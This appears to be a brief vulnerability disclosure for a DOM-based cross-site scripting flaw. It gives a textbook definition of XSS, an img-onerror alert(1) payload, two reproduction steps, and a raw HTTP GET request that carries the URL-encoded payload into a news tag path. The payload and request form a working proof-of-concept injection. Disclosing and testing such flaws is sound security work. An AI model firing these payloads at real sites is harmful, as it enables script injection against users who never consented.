DOM-Based Cross Site Scripting
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
“><img src=x onerror=alert(1)>
Steps To Reproduce:
1. Goto this URL.
2. Insert XSS Payload after URL.
GET /jp/news/tag/contest/1%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept-Encoding: gzip, deflate